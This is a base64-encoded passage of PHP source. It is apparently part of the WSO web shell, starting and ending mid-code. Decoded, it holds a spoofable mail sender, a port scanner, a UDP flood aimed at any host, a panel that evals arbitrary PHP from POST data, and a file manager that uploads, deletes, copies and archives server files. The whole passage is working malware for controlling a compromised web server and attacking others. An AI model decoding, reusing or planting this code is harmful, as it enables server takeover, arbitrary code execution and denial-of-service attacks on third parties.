QT1NUWydib2R5J10pKSB7IA0KICAgICRoZWFkZXJzID0gJ0Zyb206ICcuJF9QT1NUWydmcm9tJ107IA0KICAgIG1haWwgKCRfUE9TVFsndG8nXSwkX1BPU1RbJ3N1YmplY3QnXSwkX1BPU1RbJ2JvZHknXSwkaGVhZGVycyk7IA0KICAgIGVjaG8gJ0VtYWlsIHNlbnQuJzsgDQp9IA0KICANCi8vcG9ydCBzY2FubmVyIA0KZWNobyAnPGJyPjxiPlBvcnQgU2Nhbm5lcjwvYj48YnI+JzsgDQokc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnc3RhcnQnXSk7IA0KJGVuZCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydlbmQnXSk7IA0KJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnaG9zdCddKTsgDQogIA0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydlbmQnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3N0YXJ0J10pKXsgDQpmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsgDQogICAgJGZwID0gQGZzb2Nrb3BlbigkaG9zdCwgJGksICRlcnJubywgJGVycnN0ciwgMyk7IA0KICAgIGlmKCRmcCl7IA0KICAgICAgICBlY2hvICdQb3J0ICcuJGkuJyBpcyA8Zm9udCBjb2xvcj1ncmVlbj5vcGVuPC9mb250Pjxicj4nOyANCiAgICB9IA0KICAgIGZsdXNoKCk7IA0KICAgIH0gDQp9ZWxzZXsgDQo/PiANCjxmb3JtIGFjdGlvbj0iPyIgbWV0aG9kPSJQT1NUIj4gDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0icGhwdG9vbHMiPiANCkhvc3Q6PGJyIC8+IA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiLz48YnIgLz4gDQpQb3J0IHN0YXJ0OjxiciAvPiANCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdGFydCIgdmFsdWU9IjAiLz48YnIgLz4gDQpQb3J0IGVuZDo8YnIgLz4gDQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZW5kIiB2YWx1ZT0iNTAwMCIvPjxiciAvPiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FuIFBvcnRzIiAvPiANCjwvZm9ybT4gDQo8P3BocCANCn0gDQogIA0KLy9VRFAgDQppZihpc3NldCgkX1BPU1RbJ2hvc3QnXSkmJmlzX251bWVyaWMoJF9QT1NUWyd0aW1lJ10pKXsgDQogICAgJHBha2l0cyA9IDA7IA0KICAgIGlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOyANCiAgICBzZXRfdGltZV9saW1pdCgwKTsgDQogICAgICANCiAgICAkZXhlY190aW1lID0gJF9QT1NUWyd0aW1lJ107IA0KICAgICAgDQogICAgJHRpbWUgPSB0aW1lKCk7IA0KICAgIC8vcHJpbnQgIlN0YXJ0ZWQ6ICIudGltZSgnaDppOnMnKS4iPGJyPiI7IA0KICAgICRtYXhfdGltZSA9ICR0aW1lKyRleGVjX3RpbWU7IA0KICANCiAgICAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOyANCiAgICAgIA0KICAgIGZvcigkaT0wOyRpPDY1MDAwOyRpKyspeyANCiAgICAgICAgICAgICRvdXQgLj0gJ1gnOyANCiAgICB9IA0KICAgIHdoaWxlKDEpeyANCiAgICAkcGFraXRzKys7IA0KICAgICAgICAgICAgaWYodGltZSgpID4gJG1heF90aW1lKXsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICAkcmFuZCA9IHJhbmQoMSw2NTAwMCk7IA0KICAgICAgICAgICAgJGZwID0gZnNvY2tvcGVuKCd1ZHA6Ly8nLiRob3N0LCAkcmFuZCwgJGVycm5vLCAkZXJyc3RyLCA1KTsgDQogICAgICAgICAgICBpZigkZnApeyANCiAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJG91dCk7IA0KICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgIH0gDQogICAgZWNobyAiPGJyPjxiPlVEUCBGbG9vZDwvYj48YnI+Q29tcGxldGVkIHdpdGggJHBha2l0cyAoIiAuIHJvdW5kKCgkcGFraXRzKjY1KS8xMDI0LCAyKSAuICIgTUIpIHBhY2tldHMgYXZlcmFnaW5nICIuIHJvdW5kKCRwYWtpdHMvJGV4ZWNfdGltZSwgMikgLiAiIHBhY2tldHMgcGVyIHNlY29uZCBuIjsgDQogICAgZWNobyAnPGJyPjxicj4gDQogICAgICAgIDxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIiBtZXRob2Q9UE9TVD4gDQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJwaHB0b29scyI+IA0KICAgICAgICBIb3N0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdCB2YWx1ZT1sb2NhbGhvc3Q+IA0KICAgICAgICBMZW5ndGggKHNlY29uZHMpOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGltZSB2YWx1ZT05OTk5PiANCiAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUdvPjwvZm9ybT4nOyANCn1lbHNleyBlY2hvICc8YnI+PGI+VURQIEZsb29kPC9iPjxicj4gDQogICAgICAgICAgICA8Zm9ybSBhY3Rpb249PyBtZXRob2Q9UE9TVD4gDQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0icGhwdG9vbHMiPiANCiAgICAgICAgICAgIEhvc3Q6IDxicj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdCB2YWx1ZT1sb2NhbGhvc3Q+PGJyPiANCiAgICAgICAgICAgIExlbmd0aCAoc2Vjb25kcyk6IDxicj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGltZSB2YWx1ZT05OTk5Pjxicj4gDQogICAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9R28+PC9mb3JtPic7IA0KfSANCj8+PC9jZW50ZXI+PD9waHAgDQp3c29Gb290ZXIoKTt9IA0KZnVuY3Rpb24gYWN0aW9uUGhwKCkgeyANCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSB0cnVlOyANCiAgICAgICAgb2Jfc3RhcnQoKTsgDQogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsgDQogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwgIm5ydFwnACIpIC4gIic7biI7IA0KICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJuIiwgJHRlbXA7IA0KICAgICAgICBleGl0OyANCiAgICB9IA0KICAgIHdzb0hlYWRlcigpOyANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2luZm8nKSkgeyANCiAgICAgICAgZWNobyAnPGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7IA0KICAgICAgICBvYl9zdGFydCgpOyANCiAgICAgICAgcGhwaW5mbygpOyANCiAgICAgICAgJHRtcCA9IG9iX2dldF9jbGVhbigpOyANCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6dyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7IA0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7IA0KICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOyANCiAgICB9IA0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSBmYWxzZTsgDQogICAgZWNobyAnPGgxPkV4ZWN1dGlvbiBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKCdQaHAnLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKCdQaHAnLG51bGwsdGhpcy5jb2RlLnZhbHVlLCcnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPic7IA0KICAgIGVjaG8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgb2Jfc3RhcnQoKTsgDQogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsgDQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7IA0KICAgIH0gDQogICAgZWNobyAnPC9wcmU+PC9kaXY+JzsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpIHsgDQogICAgd3NvSGVhZGVyKCk7IA0KICAgIGVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0Pic7IA0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7IA0KICAgICAgICAgICAgY2FzZSAndXBsb2FkRmlsZSc6IA0KICAgICAgICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgY2FzZSAnbWtkaXInOiANCiAgICAgICAgICAgICAgICBpZighQG1rZGlyKCRfUE9TVFsncDInXSkpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6IA0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgeyANCiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsgDQogICAgICAgICAgICAgICAgICAgICRkaCAgPSBvcGVuZGlyKCRwYXRoKTsgDQogICAgICAgICAgICAgICAgICAgIHdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW0gPSAkcGF0aC4kaXRlbTsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0eXBlID09ICJkaXIiKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGl0ZW0pOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRpdGVtKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGNsb3NlZGlyKCRkaCk7IA0KICAgICAgICAgICAgICAgICAgICBAcm1kaXIoJHBhdGgpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpIA0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkZik7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGYpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICBjYXNlICdwYXN0ZSc6IA0KICAgICAgICAgICAgICAgIGlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7IA0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEBvcGVuZGlyKCRjLiRzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSANCiAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJF9TRVNTSU9OWydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7IA0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEBvcGVuZGlyKCRjLiRzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgDQogICAgICAgICAgICAgICAgICAgICAgICBAcmVuYW1lKCRfU0VTU0lPTlsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOyANCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnKSB7IA0KICAgICAgICAgICAgICAgICAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsncDInXSwgMSkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjJ10pOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9TRVNTSU9OWydjJ10uJGYpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJF9TRVNTSU9OWydjJ10uJGYsICRmKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRfU0VTU0lPTlsnYyddLiRmKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAndW56aXAnKSB7IA0KICAgICAgICAgICAgICAgICAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHppcC0+b3BlbigkX1NFU1NJT05bJ2MnXS4kZikpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAndGFyJykgeyANCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjJ10pOyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSBhcnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9TRVNTSU9OWydmJ10pOyANCiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfU0VTU0lPTlsnZiddKSk7IA0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnZiddKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgZGVmYXVsdDogDQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107IA0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKSANCiAgICAgICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgIH0gDQogICAgfSANCiAgICAkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOyANCiAgICBpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsgZWNobyAnQ2FuJ3Qgb3BlbiB0aGlzIGZvbGRlciEnO3dzb0Zvb3RlcigpOyByZXR1cm47IH0gDQogICAgZ2xvYmFsICRzb3J0OyANCiAgICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7IA0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICBpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKSANCiAgICAgICAgICAgICRzb3J0ID0gYXJyYXkoJG1hdGNoWzFdLCAoaW50KSRtYXRjaFsyXSk7IA0KICAgIH0gDQplY2hvICI8c2NyaXB0PiANCiAgICBmdW5jdGlvbiBzYSgpIHsgDQogICAgICAgIGZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspIA0KICAgICAgICAgICAgaWYoZC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpIA0KICAgICAgICAgICAgICAgIGQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsgDQogICAgfSANCiAgDQo8L3NjcmlwdD4gDQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPiANCjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNNYW4iLG51bGwsInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiIiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc01hbiIsbnVsbCwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIiIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzTWFuIixudWxsLCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEpLiIiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNNYW4iLG51bGwsInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsgDQogICAgJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOyANCiAgICAkbiA9IGNvdW50KCRkaXJDb250ZW50KTsgDQogICAgZm9yKCRpPTA7JGk8JG47JGkrKykgeyANCiAgICAgICAgJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7IA0KICAgICAgICAkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsgDQogICAgICAgICR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLCANCiAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLCANCiAgICAgICAgICAgICAgICAgICAgICdtb2RpZnknID0+IGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSwgDQogICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwgDQogICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLCANCiAgICAgICAgICAgICAgICAgICAgICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLCANCiAgICAgICAgICAgICAgICAgICAgICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pIA0KICAgICAgICAgICAgICAgICAgICApOyANCiAgICAgICAgaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkgDQogICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsgDQogICAgICAgIGVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSANCiAgICAgICAgICAgICRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycgPT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOyANCiAgICAgICAgZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkgD